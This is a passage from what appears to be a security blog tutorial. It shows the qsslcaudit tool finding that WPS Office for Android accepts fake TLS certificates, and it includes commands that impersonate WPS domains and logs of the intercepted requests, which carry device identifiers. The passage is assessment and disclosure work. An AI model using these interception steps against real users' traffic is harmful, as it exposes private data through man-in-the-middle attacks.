192.168.12.118:33468<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #2: certificate trust test with self-signed certificate for user-supplied common name<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:53873<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #3: certificate trust test with self-signed certificate for www.example.com<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:52806<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:36898<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:48969<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors:<br /> ssl conn established?: true<br /> intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> received data, bytes: 854<br /> transmitted data, bytes: 5567<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> ALPN: http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>You can already see from this output that we spotted an issue. But let's explain this output.</p> <p>At first after launch the tool prepares all the selected tests. It feeds each test with user-supplied parameters and the test decides if it has all necessary data to be launched. For those tests that can not be run with the provided settings the tool prints the corresponding message:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve</div></div> <p>Then it prints the OpenSSL library version used. It is important to verify it if some tests are unable to launch. This should be &quot;1.0.2&quot; version, like this one:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019</div></div> <p>After that the tool executes each test one by one. For each test a TLS listener is launched on the provided socket. The listener is configured with settings and certificates according to the current test. When the client connects to the listener and the TLS handshake is completed, the test is considered as done and the following output is printed:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:33468<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished</div></div> <p>In this case the client connected from <code>192.168.12.118</code> IP, agreed to establish the TLS connection and sent some data (HTTP POST request). The tool remembers the results and runs the next test.</p> <p>Once all tests are completed the tool outputs a summary table like the one shown above. In fact, it is coloured, so one can easily identify if something was spotted:</p> <p><img src="https://www.gremwell.com/sites/default/files/wpsoffice-blogpost_02.png" alt="summary mitm" /></p> <p>Then the tool attempts to compare all incoming connections and decide if they were made by the same TLS client. This becomes useful if it is not possible to isolate network and some unexpected connections can be received. Lastly <code>qsslcaudit</code> prints a fingerprint of the first connection (and others, if they are different). Such fingerprint can be used to double-check that the expected client was caught. The most useful field in this case is server name indication (SNI). However, WPS Office did not use such:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: <br /> ssl conn established?: true<br /> intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> received data, bytes: 854<br /> transmitted data, bytes: 5567<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> ALPN: http/1.1</div></div> <p>From the obtained output we can conclude that WPS Office application does not properly verify TLS certificate when connecting to <a rel="noopener noreferrer" target="_blank" href="https://dw-online.ksosoft.com/">https://dw-online.ksosoft.com/</a>. This is certainly a finding as suitably positioned attacker can intercept the connection, steal and alter data in transit. However, its severity depends on what type of traffic is transmitted and how the responses are interpreted by the application. During an assessment this has to be evaluated, but right now we are just demonstrating how to use <code>qsslcaudit</code>.</p> <h3><a id="user-content-shuc-androidksordcom" href="#shuc-androidksordcom" name="shuc-androidksordcom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>shuc-android.ksord.com</h3> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn shuc-android.ksord.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> ...skipping for brevity...<br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: <br /> ssl conn established?: true<br /> intercepted data: POST / HTTP/1.1<br /> Content-Type: application/x-www-form-urlencoded<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: shuc-android.ksord.com<br /> Content-Length: 3500<br /> <br /> eyJfcCI6 ...skipping for brevity...<br /> received data, bytes: 4172<br /> transmitted data, bytes: 5567<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> ALPN: http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>As can be seen, again, the certificates were not validated. The data posted contained even more information about the device used.</p> <h3><a id="user-content-plugin-serverwpscom" href="#plugin-serverwpscom" name="plugin-serverwpscom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>plugin-server.wps.com</h3> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn plugin-server.wps.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:45530<br /> SSL connection established<br /> socket error: The TLS/SSL connection has been closed (#1)<br /> socket error: The remote host closed the connection (#1)<br /> no unencrypted data received (The remote host closed the connection)<br /> disconnected<br /> report:<br /> HTTPS client did not accept fake certificate without explicit error message<br /> test finished<br /> <br /> <br /> running test #2: certificate trust test with self-signed certificate for user-supplied common name<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:49821<br /> SSL connection established<br /> received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&amp;hostVersion=1005011&amp;pluginVersion=1&amp;deviceId=aaa66681948902838109382338857706 HTTP/1.1<br /> Connection: Keep-Alive<br /> timeStamp: 1582799122<br /> client: com.wps.ovs.docer<br /> sign: be9c6715fef4320438462222ca1ab20f<br /> User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)<br /> Host: plugin-server.wps.com<br /> Accept-Encoding: gzip<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #3: certificate trust test with self-signed certificate for www.example.com<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:35038<br /> SSL connection established<br /> socket error: The TLS/SSL connection has been closed (#1)<br /> socket error: The remote host closed the connection (#1)<br /> no unencrypted data received (The remote host closed the connection)<br /> disconnected<br /> report:<br /> HTTPS client did not accept fake certificate without explicit error message<br /> test finished<br /> <br /> <br /> running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:56326<br /> SSL connection established<br /> received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&amp;hostVersion=1005011&amp;pluginVersion=1&amp;deviceId=aaa02935789133279734867793581560 HTTP/1.1<br /> Connection: Keep-Alive<br /> timeStamp: 1582799215<br /> client: com.wps.ovs.docer<br /> sign: 08db428254c47e2fd5603fb928fe2d23<br /> User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)<br /> Host: plugin-server.wps.com<br /> Accept-Encoding: gzip<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:57738<br /> SSL connection established<br /> socket error: The TLS/SSL connection has been closed (#1)<br /> socket error: The remote host closed the connection (#1)<br /> no unencrypted data received (The remote host closed the connection)<br /> disconnected<br /> report:<br /> HTTPS client did not accept fake certificate without explicit error message<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 